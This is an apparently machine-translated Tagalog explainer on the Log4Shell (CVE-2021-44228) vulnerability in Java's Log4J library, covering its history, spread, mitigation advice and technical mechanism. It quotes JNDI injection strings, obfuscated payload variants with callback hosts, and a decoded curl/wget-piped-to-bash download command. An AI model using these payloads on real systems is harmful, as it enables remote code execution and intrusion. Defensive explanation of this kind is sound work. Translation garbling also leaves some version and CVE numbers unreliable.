
Ang Java ay matatagpuan sa lahat ng dako sa mga IT-related na device gaya ng mga mobile, desktop, server, device IoT, mga router, printer, photocopier, bukod sa iba pa. Karamihan sa mga sikat na software application at laro, kasama ng mga custom na application ng negosyo, ay binuo gamit ang Java. Ang isang magaspang na pagtatantya ay 3 bilyong device ang tumatakbo Java. Dinadala ng mga library ng Java ang tibay ng Java sa ibang antas.
Isa sa kanila Ang mga aklatan ay Log4J, na binuo ng open source na Apache Software Foundation. Ang Log4J library na ito ay isang mahalagang bahagi ng Java logging framework at responsable para sa pag-log ng mga mensahe ng error mula sa isang application.
Gamit ang Log4J library
Ang pag-log ay tumutulong sa mga developer na makita ang lahat ng aktibidad na ginagawa ng isang application, at halos lahat ng software application (kahit na cloud-based) ay gumagawa ng mga log ng kanilang mga error. Karaniwang hindi ginagawa ng mga developer ang sistema ng pag-log ng kanilang aplikasyon (upang hindi muling likhain ang gulong), ngunit mas gusto nilang gumamit ng isang naitatag na library ng pag-log (isang karaniwang pamantayan sa coding at development) at isa sa mga talaan pa Sikat ng Java ay Log4J.
Samakatuwid, halos lahat ng application (kabilang ang mga aplikasyon mula sa mga pamahalaan, ahensya, kumpanya, Microsoft, Apple, Google, atbp.) na nakasulat sa Java ay maaaring magkaroon ng aklatang ito at ang isang kahinaan sa naturang aklatan ay maaaring ang pinakamasamang bangungot at ang pangarap ng seguridad sa cyber. totoo para sa mga hacker.
At saka, open source ang library na ito, kaya hindi may mga opisyal na numero tungkol sa kung ilang device/app ang gumagamit ng library na ito.
Ang Log4J ay ginagamit ng marami application sikat (tulad ng kaba, Apple iCloud), juegos (bilang Minecraft, Steam), mga site, bukod sa iba pa. Kasama ng mga ito, ang aklatan na ito ay bahagi rin ng marami iba pang mga balangkas tulad ng Kafka, Elasticsearch, Flink. Ang listahan ng mga application, produkto at plugin na mahina sa pagsasamantala ng Log4J ay patuloy na tumataas.
Pagtukoy ng kahinaan sa Log4J
Ang unang ulat ng isang kahinaan sa Log4J ay unang lumitaw sa 1 st Disyembre 2021 ni Chen Zhaojun ng pangkat ng Alibaba Cloud Security, na, bilang isang karaniwang kasanayan sa pangangaso ng bug at bilang responsableng IT na tao, ay nagpaalam sa Apache Foundation tungkol sa kapintasan (bagaman, ang ilang mga mangangaso ng bug ay nagbebenta ng mga ganitong kahinaan sa mga hacker at ang mga ganitong kahinaan ay hindi napapansin sa loob ng ilang buwan o taon) . Ang pagtuklas ay naganap sa Minecraft. Ang pagpapaandar ng chat ng Minecraft ay ang source identification ng Log4J exploit.
Ang mga chat algorithm ng laro ay batay sa Java API gamit ang Log4J library at pinahintulutan ng library na ito ang mga masasamang tao na i-freeze ang mga server ng Minecraft, tanggalin ang lahat ng mga manlalaro, atbp. Sa isang kanais-nais na kapaligiran, ang kahinaan na ito ay madaling manipulahin ng Remote Code Execution (RCE)., na nagpapahusay sa antas ng pagbabanta ng kahinaan.
Ang pagkakaroon ng kahinaan sa library ng Log4J ay tinanggap ng publiko noong 9 º Disyembre 2021 ni Apache. Ang kahinaan ay pinangalanan bilang Log4Shell at ito ay opisyal na naka-tag bilang CVE-2.021 hanggang 44.228. Ang (CVE C KARANIWAN V ulnerabilities at E xposures) numbering system ay isang nomenclature para natatanging tukuyin ang bawat vulnerability/exploit na nakita sa buong mundo.
Ang Log4J ay inuri bilang isang kahinaan sa araw zero (o araw 0). Ang zero-day na kahinaan ay nangangahulugan na ang mga hacker ay nagta-target na sa kahinaan, bago pa man nalaman ng mga developer ang kapintasan at nagkaroon ng zero-day upang mag-deploy ng patch para sa pagsasamantala.
Mga apektadong bersyon ng Log4J library at mga inilabas na patch
Ito ay iniulat na ang mga bersyon 2.0 isang Ang Log2.14.1J 4 ay apektado ng kahinaan. Ang bersyon Log2.15.0J 4 ito ang orihinal na patch inilabas para sa CVE-2021-44228, ngunit nang maglaon, may nakitang isa pang kahinaan sa Log4J (pangunahin, sa mga hindi default na configuration) na may label na CVE-2021-45046. Ang kahinaan na ito ay nagkaroon ng isang epekto de katiwasayan de 3.7 (medyo mababa kumpara sa orihinal na kahinaan). Pagkatapos ay inilunsad ang Apache Foundation Log4j bersyon 2.16 upang i-patch ang pagsasamantala sa orihinal na solusyon.
Habang ginagawa namin ang artikulong ito, naglabas si Apache ng isa pang patch ng Log4J bersyon 2.17 para sa kahinaan ng Log4J na na-tag bilang CVE-2021-45105 (pagtanggi sa serbisyo/pag-atake ng DoS). Ang impormasyon tungkol sa mga patch ay makukuha sa Ang opisyal na pahina ng seguridad ng Log4J website ng Apache.
Maaaring isipin ng maraming mambabasa na dahil nailapat na ang patch sa Log4J, bakit ganito ang problema? Kahit na ang pinakabagong bersyon ng Log4J library ay na-patched, ang mga application, produkto, plugin, atbp. na gumagamit pa rin ng mga mas lumang bersyon ng Log4J ay hindi pa nata-patch. Bukod pa rito, mayroong kaso ng mga application na naging abandonware at gumagamit ng vulnerable na bersyon ng Log4J. Ang abandonware ay isang software na produkto na hindi pinapansin/hindi pa binuo ng mga may-ari/manufacturer nito at walang opisyal na suporta.
Ang laki ng pagsasamantala ng Log4J
Sa rating ng epekto sa seguridad, madaling ma-rate ang Log4J exploit bilang 10/10 (ang pinakamataas na posibleng antas ng panganib). Ang laki ng kahinaang ito ay napakahusay na ang lahat ng mga pangunahing manlalaro (Microsoft, Google, Cisco, atbp.) kasama ang mga pamahalaan at Apache (ang mga developer ng Log4J) ay nagtatrabaho nang buong oras upang i-patch ang kahinaan. Ang pag-aalala at tugon ng mga kumpanyang ito ay makikita sa kanilang mga opisyal na website o social media account. Ang kalubhaan ng kahinaan ay maaaring magpahiwatig kung kailan Direktor Jen Easterly ng CISA (US C ybersecurity at I nfra s Pagsasaayos A ahensya) binanggit ang mga pagsasamantala ng Log4J bilang
Isa sa mga pinakaseryoso na nakita sa mahabang panahon, kung hindi ang pinakaseryoso.
At dahil sa kalubhaan na ito, iniisip ng mga pinuno ng industriya ng IT na ang kahinaan ng Log4J susundan stalking la industriya sa susunod na ilang taon.
Bakit hindi nakita ang kahinaan ng Log4J nang mas maaga?
Maraming mga gumagamit ang nagtataka kung bakit ang isang kahinaan ng ganoong kalaki ay hindi nakita dahil ang Log4J library ay magagamit mula noong 2013. Bagama't sa USA 2016 Ang isang kahinaan sa Log4J ay iniulat ng BlackHatEvents, na tinalakay ang JNDI bilang isang vector ng pag-atake, habang, ang kasalukuyang kahinaan ay isang uri ng template injection na nagbibigay-daan sa paggamit ng JNDI.
Ngunit sa mga application ng software, ang mga kahinaan ay mahirap na matukoy habang lumalabas ang mga bagong teknolohiya, ang abot-tanaw ng industriya ng IT ay nagbabago (halimbawa, ang mga aplikasyon ng software bago ang pag-imbento ng Internet at pagkatapos ng Internet ay ibang kuwento ).
Gayundin, tulad ng tinalakay sa itaas, ang mga bersyon ng Log4J library sa ibaba 2.0 ay hindi apektado (mayroon silang sariling mga isyu), kaya ang pag-unlad sa teknolohiya ang dahilan kung bakit matukoy ang pagsasamantalang ito.
Mga pag-atake gamit ang kahinaan ng Log4J
Sa bagong pagsasamantala sa bayan, tina-target ng mga hacker ang kanilang mga tool upang magamit ang pagsasamantala. Ang una malware nakita na itinuro ang pagsasamantala ay CryptoMiners (na kumukuha cryptocurrencies ng apektadong makina).
Sinundan ito Cobalt Strike (penetration test) para nakawin ang username/password ng infected system. Pagkatapos ang barko ay sinalihan ng malware na nakabatay sa ransomware tulad ng Khonsari at patuloy ang listahan.
At huling ngunit hindi bababa sa, ang mga suportadong grupo ng hacker sa pamamagitan ng estado ng ilang mga bansa ay nagta-target ng mga karibal sa pamamagitan ng pagsasamantala sa kahinaang ito. Narito ang isang mapa mula sa ESET sa mga naiulat na pag-atake na isinagawa (ang pinakamataas na dami ng mga pag-atake sa US, UK, Germany, Turkey at Netherlands).
Hanggang ngayon, meron higit sa 1800000 mga insidente ang iniulat (at nagbibilang) ay sumusubok na gamitin itong Log4J exploit ng mga hacker. Higit pa rito, halos higit sa 40 porsiyento ng mga corporate network ay inaatake sa pamamagitan ng paggamit ng kahinaang ito. Ang pagkakaroon ng gamitin ang code en ilang mga site Pinalala nito ang mga bagay. Higit pa rito, ang mga bagay ay naging kumplikado dahil ang pagsasamantala nakadirekta sa pamamagitan ng HTTP y HTTPS.
Ngunit iyon lamang ang panimulang punto, dahil, kung a malware worm naka-target sa kahinaan, kung gayon ang epekto nito ay maaaring mas malaki kaysa sa orihinal na kahinaan. Dahil, ang isang computer worm ay isang independiyenteng piraso ng software na tahimik na umuulit at kumakalat sa buong network (halimbawa, ang Code Red worm noong 2000s o WannaCry sa 2017).
Como funciona
Sinusubaybayan ng Log4J library (kasama ang balangkas ng pag-log) kung ano ang ginagawa ng isang application at para magamit ang pagsasamantala, kailangan lang ng isang attacker na pilitin ang isang log entry sa Log4J gamit ang isang simpleng gawain, halimbawa, pagtatakda ng username ng account o pagpapadala ng code string sa isang email.
Ang paggawa ng isang attacker ng log entry ng application sa balangkas ng pag-log ay maaaring iba-iba mula sa isang aplikasyon patungo sa isa pa (halimbawa, sa Minecraft, ginamit ang chat function) o mula sa isang computer patungo sa isa pa. Kapag ang naturang registry entry ay ginawa gamit ang malisyosong code, maaaring mag-upload ng malisyosong code ang umaatake sa makina, kumuha ng ganap na kontrol sa sistema, kumalat sa network, mag-install ng malware, maglunsad ng isa pang paraan ng pag-atake, o anumang bagay.
Ang pinaka-mapanganib na bahagi ng kahinaang ito ay ito ay » pre-authenticated”, na nangangahulugan na ang isang hacker ay hindi kailangang mag-log in sa isang mahinang sistema upang makontrol ito.
Ang pagsasamantala ay maaaring ilarawan simple sa mga susunod na hakbang:
- El ina-activate ng hacker ang pagsamantalahan sa pamamagitan ng pagpapadala ng malisyosong payload sa pamamagitan ng input na ibinigay ng user. Ang payload na ito ay maaaring isang header ng HTTP/HTTPS o anumang bagay na ini-log ng vulnerable na application gamit ang Log4j.
- Application magparehistro ang nakakahamak na payload sa iyong data.
- La Sinusubukang i-interpret ng Log4J library malisyosong user input at kumokonekta sa isang server na kinokontrol ng mga hacker (halimbawa, LDAP).
- El server nakakahamak (hal. LDAP) ibinabalik ang tugon na nagsasabi sa application na karga un malayuang klase ng java file.
- Ang application ay nagda-download at patakbuhin ang malayuang file na nagbubukas ng mga pintuan para sa hacker na isagawa ang kanyang masasamang aksyon.
Ang proseso ay ipinaliwanag sa sumusunod na talahanayan:
Ligtas ka ba?
Kaya pagkatapos na dumaan sa itaas, ang mga gumagamit ay may tanong: sigurado ba ako? Nakasalalay ito. Kung ang isang user ay bahagi ng isang organisasyon na gumagamit ng Log4J Java library, sila at ang kanilang organisasyon ay nasa panganib.
Kung ang isang user o ang kanilang organisasyon ay hindi gumagamit ng anumang bagay na nakabatay sa Java (napaka hindi malamang), ngunit mga dependency sa application ng enterprise, 3 rd Ang mga third-party na vendor utility o Java-based na application ay maaaring nasa panganib ang user o ang kanilang organisasyon. Maaari kang maghanap sa Internet para sa mga application na iyong ginagamit kung sila ay mahina.
Ano ang dapat gawin?
Ngayon para sa huling tanong, ano ang gagawin kung mayroong kahinaan sa Log4J sa iyong system o organisasyon.
Para sa isang gumagamit
Isang karaniwang end user hindi maaaring gumawa ng anumang bagay na matibay patungkol sa kahinaang ito, maliban na panatilihing napapanahon ang iyong mga application (lalo na ang mga antivirus/anti-malware application), mga device o operating system.
Kung ang gumagamit ay gumagamit ng isang form ng pag-abandona , ang pag-uninstall nito ay maaaring mapanatiling ligtas ang iyong system. Bukod pa rito, kung gumagamit ka ng a serbisyo sa online (tulad ng Stream), siguraduhing mayroon sila inilapat ang mga patch (tingnan ang kanilang mga opisyal na pahina o mga social media handle) ay ang paraan upang pumunta para sa isang karaniwang gumagamit.
Para sa isang organisasyon
Ang mileage upang maprotektahan ang isang organisasyon mula sa pagsasamantala ng Log4J ay maaaring iba-iba mula sa isang organisasyon patungo sa isa pa. Ang unang hakbang ay dapat na mag-audit ng buong imprastraktura, mga dependency sa aplikasyon, 3 rd partner vendor utilities, o remote na empleyado upang malaman kung ang kahinaan ay umiiral. Ang pag-audit ay dapat maghanap ng mga log ng aplikasyon para sa mga sumusunod na pattern o mga derivasyon ng mga ito:
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}
Magagamit din ng organisasyon awtomatikong mga tool sa paghahanap e pagsisiyasat sa pagbabanta (bilang Log4J Vulnerability Tester ng TrendMicro) upang matuklasan ang anumang application na may kahinaan sa Log4J. Dapat na atasan ang developer ng organisasyon na suriin ang kanilang code para sa anumang reference sa kahinaan ng Log4J.
Bilang karagdagan, mga aparato konektado sa internet ng isang organisasyon ay dapat ma-patch sa lalong madaling panahon upang maiwasan ang isang sakuna. Ang isang organisasyon ay dapat kumilos nang mabilis hangga't maaari, dahil kailangan nitong makipagkumpitensya sa mga masasamang aktor na nauuna nang hindi bababa sa 7 araw kaysa sa iba sa pag-atake sa kahinaan.
Pangalawa, kailangan mo ring maglagay ng a firewall ng web application sa lalong madaling panahon upang mapangalagaan ang mga mapagkukunan at data ng organisasyon. Halos lahat ng pangunahing manlalaro (Microsoft, Oracle, Apple, Google, Amazon, atbp.) ay na-update ang kanilang mga serbisyo at naglalabas ng mga patch para sa kanilang mga produkto.
Samakatuwid, dapat tiyakin ng isang organisasyon na ina-update nito ang lahat ng application at serbisyong ginagamit nito gamit ang pinakabagong mga patch. Higit pa rito, ang mga organisasyon ng negosyo ay dapat limitahan ang hindi kinakailangang trapiko sa internet upang bawasan ang iyong pagkakalantad, na magbabawas sa antas ng iyong panganib.
Mga teknikal na aspeto ng kahinaan
Hanggang ngayon, sinubukan naming saklawin ang kahinaan ng Log4J sa mga simpleng termino, ngunit sa seksyong ito, tatalakayin natin ang kahinaan ng Log4J sa mga teknikal na termino ng mga developer. Ang kahinaan na ito ay pinagsamantalahan sa pamamagitan ng paghahanap JNDI (Pagpapangalan ng Java at Interface ng Direktoryo). Ito ay maaaring magresulta sa a pagtanggi ng atake sa serbisyo (Dalawa).
Sa tuwing makakatagpo ang JNDI ng isang expression tulad ng ${a_Java_expression}, hinahanap nito ang halaga ng expression na iyon at pinapalitan ito. Ang ilan sa mga Mga paghahanap na katugma sa Log4J Ang mga ito ay sys, JNDI, env, java, lower at upper. Ang ilan sa mga Mga protocol na sinusuportahan ng paghahanap sa Log4JAng mga ito ay LDAP, DNS, RMI at IIOP.
Upang mag-inject ng entry sa log ng application, maaaring gamitin ng attacker ang mga kahilingan sa HTTP sa isang server at kapag natanggap ang kahilingan, ida-download at ipapatupad ng Log4J Search ang nakakahamak na klase (na naka-host sa LDAP server na kinokontrol ng hacker), kung naka-on ang attribute na ObjectClass. ang LDAP object ay tinukoy bilang javaNamingReference at may mga sumusunod na katangian:
javaCodebase
javaFactory
javaClassName
Tapos siya LDAP object loader ay i-extract ang nilalaman ng malisyosong URL gaya ng tinukoy sa javaCodebase at lilikha ng a kaukulang bagay sa memorya. Kapag ang paraan ng pagsisimula o mas pormal, ang constructor ng nabanggit na klase ay naisakatuparan, a hindi pinagkakatiwalaang code isang hindi mapagkakatiwalaang pinagmulan sa nahawaang makina.
La pagpapahayag pa batayan na ang isang umaatake ay maaaring mag-inject sa Log4J ay
${jndi:ldap://{attacker_website}/a}
Ito ang magpapatakbo ng naka-host ng malisyosong code sa:
http://{attacker_website}/{malicious class}
Kapag ang malisyosong code ay matagumpay na naisakatuparan, ang server ay magbibigay kahulugan sa string na humahantong sa comandos ng shell sa iba't ibang mga format tulad ng JavaScript, Java Class, Unix shell, bukod sa iba pa.
Ang isa pang kadahilanan na nagpapataas ng kalubhaan ng kahinaan ay ang kapasidad de pugad del Java ${} block, na magpapahirap sa pag-detect ng mga kahina-hinalang string. Halimbawa, sa halip na gumamit ng ${jndi:}, maaaring gamitin ng mga hacker ang ${${lower:jn}${lower:di}} na magbibigay-daan sa mga hacker na kumuha ng impormasyon/data mula sa isang malayong server.
Ang isang kawili-wiling tanong na maaaring lumabas sa isip ng isang mambabasa ay kung saan ilagay ang code na maaaring mapunta sa Log4J library? Maraming mga application ang nagla-log sa lahat ng nangyayari sa kanila, kabilang ang mga papasok na kahilingan gaya ng mga header ng HTTP (gaya ng User-Agent o X-Fordered-For), mga URI, katawan ng kahilingan, atbp.
Ang pinakamasamang bahagi ay ang isang umaatake ay maaaring magpadala ng ganoong kahilingan sa buong Internet logger application at pagkatapos ay makapagbigay ng mga utos upang kontrolin ang nahawaang makina. Ang proseso ay nilinaw sa sumusunod na diagram:
Nasa ibaba ang ilan mga halimbawa ng Mga natukoy na URL sa ngayon upang simulan ang iba mga uri ng pag-atake sa pamamagitan ng paggamit ng Log4J library:
${jndi%3aldap%3a //0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostname:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
$ {Jndi: $ {bumaba: l} $ {download: d} $ {download: a} $ {bumaba: p}: //195.54.160 149 [.]: 12344 / basic / command / base 64 / kN1cmwglxmgmtk1lJu0lje FHDNZXQGLXEGLU2Tide4NS6NC3XNJAUMTQ80OJU41NZQVndUuntyuouciji45OJGWKXXIYXNO}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j} ndi ${env:ENV_NAME:-:} ${env:ENV_NAME:-l} dap ${env:ENV_NAME:-:} // 62.182.80.168:1389/pien3m}
${${ibaba:j}${itaas:n}${ibaba:d}${itaas:i}:${ibaba:l}${ibaba:d}${ibaba:a}${ibaba:p }}: //67.205.191.102:1389/koejir}}
Ang sumusunod ay bahagi ng Mga log ng HTTP server ay nagpapakita ng isang pagtatangkang pagsasamantala ng Log4J:
45.155.205 [.] 233:53590 server: 80 – [10/Dec/2021:13:25:10 +0000] "GET/HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155 .205[.]233:12344 /Basic/Command/Base64/[BASE64-code-removed]} «
La base64 string Sa nakaraang talaan ito ay na-decode sa:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Maghahanap ito ng malisyosong code mula sa 45.155.xxx.xxx at pagkatapos ay isagawa ang script gamit ang Bash.
Sa huli, gusto namin ang aming mga mambabasa maging matulungin sa banta na ito at hindi natin dapat ito basta-basta dahil may dahilan kung bakit nasusunog ang Internet dahil sa kahinaang ito.
Ang pangalan ko ay Javier Chirinos at ako ay mahilig sa teknolohiya. Sa natatandaan ko, mahilig ako sa computer at video games at ang libangan na iyon ay nauwi sa trabaho.
Mahigit 15 taon na akong naglalathala tungkol sa teknolohiya at gadgets sa Internet, lalo na sa mundobytes. Sa
Isa rin akong dalubhasa sa online na komunikasyon at marketing at may kaalaman sa pagbuo ng WordPress.